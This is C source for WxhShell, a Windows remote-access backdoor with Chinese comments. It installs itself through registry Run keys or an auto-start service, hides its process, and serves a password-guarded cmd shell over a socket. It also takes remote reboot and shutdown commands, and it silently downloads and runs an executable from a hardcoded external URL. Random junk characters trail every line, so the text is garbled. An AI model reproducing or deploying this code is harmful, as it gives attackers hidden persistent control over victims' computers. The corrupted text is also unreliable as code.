    break; vpC?JXz=H  
    } /t*Q"0X5  
  // 关机 ZZ T 9t#~  
  case 'd': { ]0g p.R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l&5Tft  
    if(Boot(SHUTDOWN)) IG:2<G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 13 %: 3W(  
    else { !L<z(dV|(  
    closesocket(wsh); Xpt9$=d  
    ExitThread(0); Xc4zUEO9  
    } }Syd*%BR[  
    break; IZGRQmi"  
    } //RD$e?h~  
  // 获取shell zN=s]b=/  
  case 's': { yMC6 Gvp  
    CmdShell(wsh); s5V|.R  
    closesocket(wsh); Vt,P.CfdC  
    ExitThread(0); zZP/C   
    break; 5#y_EpL"  
  } Zy.3yQM9i  
  // 退出 B*9?mcP\  
  case 'x': { aj/+#G2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d%RH]j4  
    CloseIt(wsh); 9aX!<Z  
    break; *!j!o%MB  
    } J/3$I  
  // 离开 skU }BUK6  
  case 'q': { ]u:_r)T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ktu~%)k%  
    closesocket(wsh); ,L C(Ax'.F  
    WSACleanup(); ~Orz<%k.  
    exit(1); X4+H8],)  
    break; R&$fWV;'  
        } Xoha.6$l5  
  } !R@jbM  
  } ,9MNB3  
oS}fr?  
  // 提示信息 x 0K#-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HKIr?  
} Q#*R({)GH  
  } Z>l<.T"t'  
FGhnK'  
  return; A~^x*#q{4  
} NNwGRoDco  
4TYtgP1  
// shell模块句柄 j WMTQLE.  
int CmdShell(SOCKET sock) *Vg)E*s  
{ _xy[\X;9  
STARTUPINFO si; "rfBYl`  
ZeroMemory(&si,sizeof(si)); <;uM/vS i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?b"'w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A-J#$B  
PROCESS_INFORMATION ProcessInfo; OJhMM-  
char cmdline[]="cmd"; )."dqq^ q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~)zxIO!  
  return 0; r8!pk~R5]  
} hc|#JS2H@y  
fn.;C  
// 自身启动模式 ~N7;. 3 7  
int StartFromService(void) AX{7].)F  
{ U9*< dR  
typedef struct &0H_W xKeB  
{ ;*ni%|K  
  DWORD ExitStatus; Wyow MFp  
  DWORD PebBaseAddress; 7#Uzz"^  
  DWORD AffinityMask; Mvp|S.  
  DWORD BasePriority; I$4>_D  
  ULONG UniqueProcessId; 'Sesh'2 /  
  ULONG InheritedFromUniqueProcessId; X?;iSekI4  
}   PROCESS_BASIC_INFORMATION; 1=C<aRZ b^  
b`% !\I  
PROCNTQSIP NtQueryInformationProcess; O1wo KkfV  
TB=_r(:l+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y\+LBbB8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j ,lI\vw<  
mx}4iO:Xp  
  HANDLE             hProcess; NciIqF  
  PROCESS_BASIC_INFORMATION pbi; Pc7p2  
a*:GCGe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %NTJih`  
  if(NULL == hInst ) return 0; /k(wb4Hv  
nLC5FA7<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IGi9YpI&K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1o_6WU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g \ou+M#  
kbJ4CF}H  
  if (!NtQueryInformationProcess) return 0; B6KG\,'|  
YW&`PJ9o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }Z t#OA $  
  if(!hProcess) return 0; z-:>[Sn  
Hs_7oy|P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uBn35%  
Rha|Rk~  
  CloseHandle(hProcess); 3N|6?'m  
E@#<p-@~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A)Rh Bi  
if(hProcess==NULL) return 0; HgBu:x?&  
SqdI($F\:  
HMODULE hMod; -M_>]ubG  
char procName[255]; xI/8[JW*  
unsigned long cbNeeded; z.?slYe[  
#0\* 8 6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2-W y@\  
>oaL-01i  
  CloseHandle(hProcess); o^MoU2c  
3 TTQf f  
if(strstr(procName,"services")) return 1; // 以服务启动 zSu,S4m_;  
wXKt)3dmu  
  return 0; // 注册表启动 TJ_6:;4,|_  
} Zb|a\z8?  
Mn<s9ITS-  
// 主模块 @`8a 3sL)  
int StartWxhshell(LPSTR lpCmdLine) ?Zk;NL9  
{ @*- 6DG-f  
  SOCKET wsl; Li$2 Gpc/  
BOOL val=TRUE; 0&b;!N!vJ  
  int port=0; N8x.D-=gG  
  struct sockaddr_in door; fO .=i1 E}  
ZLPj1L  
  if(wscfg.ws_autoins) Install();  M%W#0  
7s!rer>  
port=atoi(lpCmdLine); };EB  
jW-;Y/S  
if(port<=0) port=wscfg.ws_port; 412E7   
DyA /!%g  
  WSADATA data; ]mUt[Yy:z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fny6`_O  
; sqxFF@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zK{}   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?r5a*  
  door.sin_family = AF_INET; r .6?|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3(vm'r&5n>  
  door.sin_port = htons(port); ='_3qn.  
7zJ2n/`m*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IN;9p w  
closesocket(wsl); `&xdSH  
return 1; 7^mQfQv  
} 0vBQzM Q  
H*P+>j&  
  if(listen(wsl,2) == INVALID_SOCKET) { Zk>m!F>,p  
closesocket(wsl); 6A}tA$*s7  
return 1; JnIG;/  
} inZ0iU9dy  
  Wxhshell(wsl); XW@C_@*J  
  WSACleanup(); q(L.i)w$  
o_[~{@RoR  
return 0; 2;3&&yK2b  
gs0`nysM#  
} $#3[Z;\  
`Mcg&Mi~  
// 以NT服务方式启动 7,V_5M;t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jp@X,HES  
{ rc~)%M<[2  
DWORD   status = 0; %}Y&qT?  
  DWORD   specificError = 0xfffffff; QD%6K=8Q  
Q~k|lTf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aNQ(xiskb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r KdsVW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k B4Fz  
  serviceStatus.dwWin32ExitCode     = 0; ZM <UiN  
  serviceStatus.dwServiceSpecificExitCode = 0; 81(\8#./  
  serviceStatus.dwCheckPoint       = 0; sG[qlzR=8  
  serviceStatus.dwWaitHint       = 0; aGsO~ODc  
s{V&vRr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8Q{9AoQ3'  
  if (hServiceStatusHandle==0) return; w'VuC82SZ  
U5@B7v1  
status = GetLastError(); ,j\uvi(Y  
  if (status!=NO_ERROR) v0tFU!Q%  
{ dLwP7#r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8*&73cp  
    serviceStatus.dwCheckPoint       = 0; Gm=&[?}  
    serviceStatus.dwWaitHint       = 0; l @@pXg3  
    serviceStatus.dwWin32ExitCode     = status; ^P/OHuDL  
    serviceStatus.dwServiceSpecificExitCode = specificError; Zr A*MN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (x.qyYEoI  
    return; Fi\) ka\u  
  } NLYf   
x2aG5@<3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 61OlnmvE  
  serviceStatus.dwCheckPoint       = 0; Gl45HyY_  
  serviceStatus.dwWaitHint       = 0; I,,SR"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5J&Gc;  
} _5O~ ]}  
% W|Sl  
// 处理NT服务事件,比如:启动、停止 :?m"kh ~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C=U4z|Ym  
{ A&%7Z^Pp  
switch(fdwControl) SkVah:cF-  
{ "{H{-`Ni  
case SERVICE_CONTROL_STOP: 4gdXO  
  serviceStatus.dwWin32ExitCode = 0; ~| ZAS]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4e; le&  
  serviceStatus.dwCheckPoint   = 0; _%B,^0;C  
  serviceStatus.dwWaitHint     = 0; 3DB= Xh  
  { ) hoVB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AeN:wOm  
  } {_$['D^az  
  return; ,1JQjsR   
case SERVICE_CONTROL_PAUSE: hb/Z{T'   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XpK  Y#  
  break; /d Ua  
case SERVICE_CONTROL_CONTINUE: ) .' + {  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <mTo54g  
  break; YN:Sn\`D 8  
case SERVICE_CONTROL_INTERROGATE: M 0RA&  
  break; P 6ka'!z  
}; ^nOh 8L;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O*,O]Q  
} wc"~8Ah  
}j2t8B^&:  
// 标准应用程序主函数 '.S02=/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {Dy,|}7s  
{ Az#kE.8b*A  
.W2w/RayC  
// 获取操作系统版本 \ :q@I]2  
OsIsNt=GetOsVer(); QyZ' %T5J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XH/!A`ZK  
]*U; }  
  // 从命令行安装 -HuIz6  
  if(strpbrk(lpCmdLine,"iI")) Install(); HJpx,NU'  
(dO0`wfM  
  // 下载执行文件 yGC HWP  
if(wscfg.ws_downexe) { }NdLd!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |o(te  
  WinExec(wscfg.ws_filenam,SW_HIDE); DZb0'+jQ  
} aM,g@'.=  
2~r2ErtS  
if(!OsIsNt) { 6Rq +=X  
// 如果时win9x,隐藏进程并且设置为注册表启动 e},:QL0X  
HideProc(); xt`a":lru  
StartWxhshell(lpCmdLine); nKtRJ,>  
}  :fy,%su  
else _z.CV<  
  if(StartFromService()) i??+5o@uTF  
  // 以服务方式启动 HxL uJ  
  StartServiceCtrlDispatcher(DispatchTable); c*" P+  
else 4mX]JH`UTe  
  // 普通方式启动 X`eX+9  
  StartWxhshell(lpCmdLine); > #9 a&O  
BrzTOkeyG  
return 0; j/E(*Hv  
} oq1wU@n  
l-h[I>TW  
cP@H8|c=  
NxK.q)tj6  
=========================================== rfSEL 57'  
29|nt1Z  
|N 2r?b/g  
gS]  
7M?Sndp$  
Ip8:~Fl]  
" @j%@Z  
;>X;cZMd  
#include <stdio.h> _)3C_G1!  
#include <string.h> 7suT26C  
#include <windows.h> j-FMWEp  
#include <winsock2.h> JPgFTr  
#include <winsvc.h> 4@a/k[,  
#include <urlmon.h> J^~J&  
1UB.2}/:  
#pragma comment (lib, "Ws2_32.lib") k{ZQM  
#pragma comment (lib, "urlmon.lib") [W <j  
LHA :frC  
#define MAX_USER   100 // 最大客户端连接数 9j5Z!Vsy  
#define BUF_SOCK   200 // sock buffer G-]_ d  
#define KEY_BUFF   255 // 输入 buffer ozHL'H  
'C:i5?zh(q  
#define REBOOT     0   // 重启 .O+,1&D5  
#define SHUTDOWN   1   // 关机 Lc-Wf zT  
XJq]l6a:  
#define DEF_PORT   5000 // 监听端口 Uz]=`F8  
:inVwc  
#define REG_LEN     16   // 注册表键长度 Y[>`#RhP  
#define SVC_LEN     80   // NT服务名长度 eU]I !pI<  
F)/4#[  
// 从dll定义API N1vA>(2A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^EmePkPI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iT{[zLz>1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); evVxzU&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8S[bt@v  
u`!Dp$P  
// wxhshell配置信息 ~= otdJ  
struct WSCFG { #D >:'ezm  
  int ws_port;         // 监听端口 FZ8Qj8  
  char ws_passstr[REG_LEN]; // 口令 F6h IG G  
  int ws_autoins;       // 安装标记, 1=yes 0=no [w+1<ou;j  
  char ws_regname[REG_LEN]; // 注册表键名 u{l4O1k/c  
  char ws_svcname[REG_LEN]; // 服务名 ,k9.1kjO*)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i?mUQ'H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?D_}',Wx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "`Xbi/i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6IJ;od.\b$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0B~x8f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C}9|e?R[Rz  
{q;_Dd  
}; .I^Y[_.G  
;2sP3!*  
// default Wxhshell configuration KWi|7z(L=  
struct WSCFG wscfg={DEF_PORT, %S>6Q^B  
    "xuhuanlingzhe", C 8d9 (u  
    1, (4rHy*6  
    "Wxhshell", rj1%IzaXU^  
    "Wxhshell", |0_5iFAB|  
            "WxhShell Service", E?Qg'|+_  
    "Wrsky Windows CmdShell Service", YnCuF0>  
    "Please Input Your Password: ", lfR}cx  
  1, :x?G [x=  
  "http://www.wrsky.com/wxhshell.exe", w2r* $Q  
  "Wxhshell.exe" ZHj7^y@P  
    }; 2xBh  
zMO xJ   
// 消息定义模块 ]2[\E~^KU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B.gEV*@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; CT<z1)#@^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; " #U-*Z7  
char *msg_ws_ext="\n\rExit."; 'P%&*%  
char *msg_ws_end="\n\rQuit."; %8P6l D  
char *msg_ws_boot="\n\rReboot..."; byZj7q5&Q  
char *msg_ws_poff="\n\rShutdown..."; X|R"8cJ  
char *msg_ws_down="\n\rSave to "; GW.Y= S  
]RF(0;  
char *msg_ws_err="\n\rErr!"; izu_KBzy  
char *msg_ws_ok="\n\rOK!"; =">0\#  
lr -+|>M)  
char ExeFile[MAX_PATH]; =65XT^  
int nUser = 0; }me`(zp  
HANDLE handles[MAX_USER]; `bd9N !K  
int OsIsNt; i+I1h=  
VZ9`Kbu  
SERVICE_STATUS       serviceStatus; VQ+G.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b,(<74!#8  
9.6ni1a'  
// 函数声明 )2:U]d%pk  
int Install(void); 6/Z_r0^O  
int Uninstall(void); Scmew  
int DownloadFile(char *sURL, SOCKET wsh); /-=h|A#Kh  
int Boot(int flag); V.ae 5@;  
void HideProc(void); K_qA[n  
int GetOsVer(void); UHIXy#+o5  
int Wxhshell(SOCKET wsl); 91k-os(4]  
void TalkWithClient(void *cs); OY!WEP$F-C  
int CmdShell(SOCKET sock); JbXi|OS/  
int StartFromService(void); F C=N}5u  
int StartWxhshell(LPSTR lpCmdLine); 9*r l7  
ykxAm\O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I.%EYAai  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U1|{7.R  
?U2 'L2y  
// 数据结构和表定义 Ir5E*op7D  
SERVICE_TABLE_ENTRY DispatchTable[] = SzUH6|=.R=  
{ xp]9Z]J1l  
{wscfg.ws_svcname, NTServiceMain}, ?|n@ %'  
{NULL, NULL} vOtILL6  
}; Nfmr5MU_  
TEC#owz  
// 自我安装 }rWg ']  
int Install(void) DMKtTt[}  
{ [Z!oVSCZD%  
  char svExeFile[MAX_PATH]; +9# qNkP  
  HKEY key; "`* >co6r  
  strcpy(svExeFile,ExeFile); #smfOGSd  
58o&Dv6?  
// 如果是win9x系统,修改注册表设为自启动 U.N& ~S  
if(!OsIsNt) { 7DeBeY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { # `@jVX0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +.xK`_[M  
  RegCloseKey(key); !0v3Lu ~j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2=naPTP(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bPuO~#iN~  
  RegCloseKey(key); nM99AW  
  return 0; ]qEg5:yY  
    } Bc<pD?uOK  
  } ?0 7}\N0~  
} 0J;Qpi!u2v  
else { 9LOq*0L_:  
FrV8_[  
// 如果是NT以上系统,安装为系统服务 a!;#u 8f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gMU%.%p2  
if (schSCManager!=0) Ejyo oO45  
{ n6C!5zq7U  
  SC_HANDLE schService = CreateService 9aKO||i,  
  ( "Sw raq  
  schSCManager, Mh}vr%0;)  
  wscfg.ws_svcname, _93:_L  
  wscfg.ws_svcdisp, 7~L_>7 ;  
  SERVICE_ALL_ACCESS, SES-a Mi3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Na+h+wD.D  
  SERVICE_AUTO_START, !y$+RA7\  
  SERVICE_ERROR_NORMAL, "2PT]!  
  svExeFile, !;Pp)SRzKG  
  NULL, JX#0<U|L  
  NULL, .(yJ+NU  
  NULL, 2M+ *VO  
  NULL, CKC5S^Mx  
  NULL p xW*kS  
  ); R pT7Nr  
  if (schService!=0) @Z<Z//^k  
  { XS.*CB_m_  
  CloseServiceHandle(schService); Ss\FSEN!/  
  CloseServiceHandle(schSCManager); F|8;Swb5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8T"kQB.Zv  
  strcat(svExeFile,wscfg.ws_svcname); 6Q]JY,+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rshUF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -_Kw3x  
  RegCloseKey(key); *dsI>4%m  
  return 0; XaMsIyhI  
    } ;f} ']2  
  } pfFHuS~  
  CloseServiceHandle(schSCManager); v'r)d-T   
} ;f)AM}~^Q  
} c Ze59  
xRq A^Ad  
return 1; ]3 QW\k~  
} /+m2|Ij(  
Jw{ duM;]  
// 自我卸载 #RHt;SFx  
int Uninstall(void)  Af`Tr6)  
{ z8xBq%97us  
  HKEY key; Wmx3@]<  
<*o V-A  
if(!OsIsNt) { buhbUmQ2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q&/WVRD  
  RegDeleteValue(key,wscfg.ws_regname); K@ a#^lmd  
  RegCloseKey(key); QH?sx k2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bi>]s%zp  
  RegDeleteValue(key,wscfg.ws_regname); s5)y %, E  
  RegCloseKey(key); %N0m$*  
  return 0; dAy\IfZX=  
  } E5Sn mxd  
} p+y"r4   
} ?F*I2rt#  
else { %al 5 {  
S27s Rxfr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QXgfjo  
if (schSCManager!=0) u^W!$OfZpp  
{ ^sqzlF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M0`1o p1  
  if (schService!=0) p 8Z;QH*  
  { Sf@xP.d  
  if(DeleteService(schService)!=0) { dqO]2d  
  CloseServiceHandle(schService); =r3g:j/>q  
  CloseServiceHandle(schSCManager); =y`-:j\  
  return 0; 6;;2e> e  
  } :39arq  
  CloseServiceHandle(schService); vJS}_j]_@  
  } oe!4ng[  
  CloseServiceHandle(schSCManager); YGRb|P-  
} q$Ms7 `a  
} 0f_A"K  
kO$n0y5e  
return 1; ab]Q1kD  
} hFxT@I~  
<`wOy [e  
// 从指定url下载文件 @a,=ApS"  
int DownloadFile(char *sURL, SOCKET wsh) G2-0r.f  
{ m!=5Q S3Z  
  HRESULT hr; e>bARK<  
char seps[]= "/"; ~ H/ZiBL@  
char *token; p"j &s  
char *file; (!YJ:,!so  
char myURL[MAX_PATH]; $aN%[  
char myFILE[MAX_PATH]; pgZQ>%  
 QS1lg  
strcpy(myURL,sURL); ($W%&(:/  
  token=strtok(myURL,seps); }>V=J aG  
  while(token!=NULL) w\{#nrhYU  
  { hTmJ ~m'J  
    file=token; 6\`8b&'n  
  token=strtok(NULL,seps); 15yiDI o  
  } .tQ(q=#  
4t3>`x 7  
GetCurrentDirectory(MAX_PATH,myFILE); s!>9od6^  
strcat(myFILE, "\\"); W=OryEV?  
strcat(myFILE, file); +;M 5Sp  
  send(wsh,myFILE,strlen(myFILE),0); 0)ZLdF_6  
send(wsh,"...",3,0); afzx?ekdF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MU\Pggs  
  if(hr==S_OK) W1Ye+vg/s  
return 0; y O,Jgn  
else 1}+b4 "7]  
return 1; n$9Xj@  +  
N">#fYix  
} o$V0(1N  
XODp[+xEEt  
// 系统电源模块 C ,|9VH  
int Boot(int flag) ?<Lm58p8  
{ w.#z>4#3-  
  HANDLE hToken; *'\HG  
  TOKEN_PRIVILEGES tkp; G?61P[j7  
VJ_fA}U  
  if(OsIsNt) { ,KU%"{6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'hV(1Mw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oN%zpz;OR  
    tkp.PrivilegeCount = 1; t1yOAbI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )VqPaKZl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E'5KJn;_7  
if(flag==REBOOT) { 3d4A~!Iz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O'{kNr{u  
  return 0; lnLy"f"zV  
} e4tC[6;  
else { t%0c$c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Lo5pn  
  return 0; USHQwn)%  
} )jg*u}u 0  
  } foL4s;2  
  else { qywl G  
if(flag==REBOOT) { -Dy<B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o4Cq  /K  
  return 0; WWH<s%C  
} NffKK:HvBB  
else { p<}y'7(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,v#n\LD`  
  return 0; dUl"w`3  
} kqxq'Aq)d  
} @^  *62  
X%kJ3{  
return 1; sUK|*y  
} |]k,0Y3v  
CDsl)  
// win9x进程隐藏模块 noEl+5uY  
void HideProc(void) N:'!0|6?x-  
{ C=v+e%)x@  
+v:]#1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :Ea|FAeK8  
  if ( hKernel != NULL ) ;Bj&9DZd  
  { a1/+C$ oB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k;2.g$)W[c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \8s:I+[HH  
    FreeLibrary(hKernel); pV;0Hcy  
  } w-xigm>{Z  
$xq04ejJ  
return; OLm@-I*  
} n;$u%2t2  
yWE\)]9  
// 获取操作系统版本 D .LR-Z  
int GetOsVer(void) /!A"[Tyt  
{ 4[MTEBx  
  OSVERSIONINFO winfo; kv,!"<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M_.Jmh<&&  
  GetVersionEx(&winfo); m%>}T 75C^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^cSfkBh  
  return 1; }#%Y eCA?  
  else -!O8V  
  return 0; z,7;+6*=L  
} @:#J^CsM+'  
+G[zE  
// 客户端句柄模块 |yzv o"3  
int Wxhshell(SOCKET wsl) Il(o[Q>jJ3  
{ 96QY0  
  SOCKET wsh; CSq|R-@< U  
  struct sockaddr_in client; ksuePMIK  
  DWORD myID; W[ W)q%[)  
,|>>z#Rr(n  
  while(nUser<MAX_USER) JtxVF !v  
{ rqdN%=C  
  int nSize=sizeof(client); q(^iT~}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RWo7_XO  
  if(wsh==INVALID_SOCKET) return 1; wvxz:~M  
9p3~WA/M@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g1"Z pD  
if(handles[nUser]==0) zwJ&K;"y(  
  closesocket(wsh); J'7;+.s(  
else GEh(pJ  
  nUser++; VKX|0~  
  } x=Oy 6"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D1v0`od'  
-PGxG 8S  
  return 0; S-Vj$asv!  
} /F~/&p1<\k  
x9a\~XL>a  
// 关闭 socket i20y\V os?  
void CloseIt(SOCKET wsh) knph549  
{ N[Ei%I  
closesocket(wsh); US"g>WLwJ  
nUser--; OY:rcGc`t  
ExitThread(0); BG?>)]6  
} W|2|v?v  
7Re\*[)T  
// 客户端请求句柄 CMOyK^(e  
void TalkWithClient(void *cs) CM++:Y vJ  
{ lqJ92vi6Q  
yt5<J-m  
  SOCKET wsh=(SOCKET)cs; eI2HTFyT  
  char pwd[SVC_LEN]; 9X;*GC;d  
  char cmd[KEY_BUFF]; ]H}2|~c  
char chr[1]; aGi`(|shW  
int i,j; {"{]S12N  
\R]2YY`EP  
  while (nUser < MAX_USER) { L3xN#W;m7  
*.k*JsU~B  
if(wscfg.ws_passstr) { %X %zK1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <f8j^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z |~+0  
  //ZeroMemory(pwd,KEY_BUFF); ~M} K]Li  
      i=0; LPu *Lkx  
  while(i<SVC_LEN) { (PGw{_  
S2*sh2-&6  
  // 设置超时 ckY#oRQ1  
  fd_set FdRead; {j]cL !Od  
  struct timeval TimeOut; 43M.Hj]  
  FD_ZERO(&FdRead); @P75f5p}<  
  FD_SET(wsh,&FdRead);  HB'9&  
  TimeOut.tv_sec=8; -aok]w m  
  TimeOut.tv_usec=0; 6?KUS}nRS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zb!1o0, J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j7gTVfO  
>A-{/"p#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); un-%p#  
  pwd=chr[0]; H{=G\N{  
  if(chr[0]==0xd || chr[0]==0xa) { d<Q%h?E  
  pwd=0; "B (?|r%  
  break; 3.BUWMD  
  } 7]T(=gg /  
  i++; ")i)vXF'  
    } @_-,Q5  
WH1 " HO  
  // 如果是非法用户,关闭 socket C5I7\9F)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iO?^y(phC  
} C12V_)~2  
|/n7(!7$[v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^tG,H@95  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ly[d V.<P  
GuU-< *u(d  
while(1) { ^GY^g-R  
O)VcW/  
  ZeroMemory(cmd,KEY_BUFF); *Ic^9njt  
UhS:tT]7  
      // 自动支持客户端 telnet标准   $o5i15Oy.  
  j=0; l:UKU!  
  while(j<KEY_BUFF) { 0{bl^#$f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Er~KX3vF  
  cmd[j]=chr[0]; W7 Iy_>  
  if(chr[0]==0xa || chr[0]==0xd) { ut560,h~  
  cmd[j]=0; 8uLS7\,$z  
  break; o)@nnqa  
  } kG!hqj  
  j++; 8_HBcZWs  
    } Nr2,m"R{  
F9K0  
  // 下载文件 (P-^ PNz&  
  if(strstr(cmd,"http://")) { 'hBnV xd&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !JrKTB%  
  if(DownloadFile(cmd,wsh)) 1Xm>nF~  
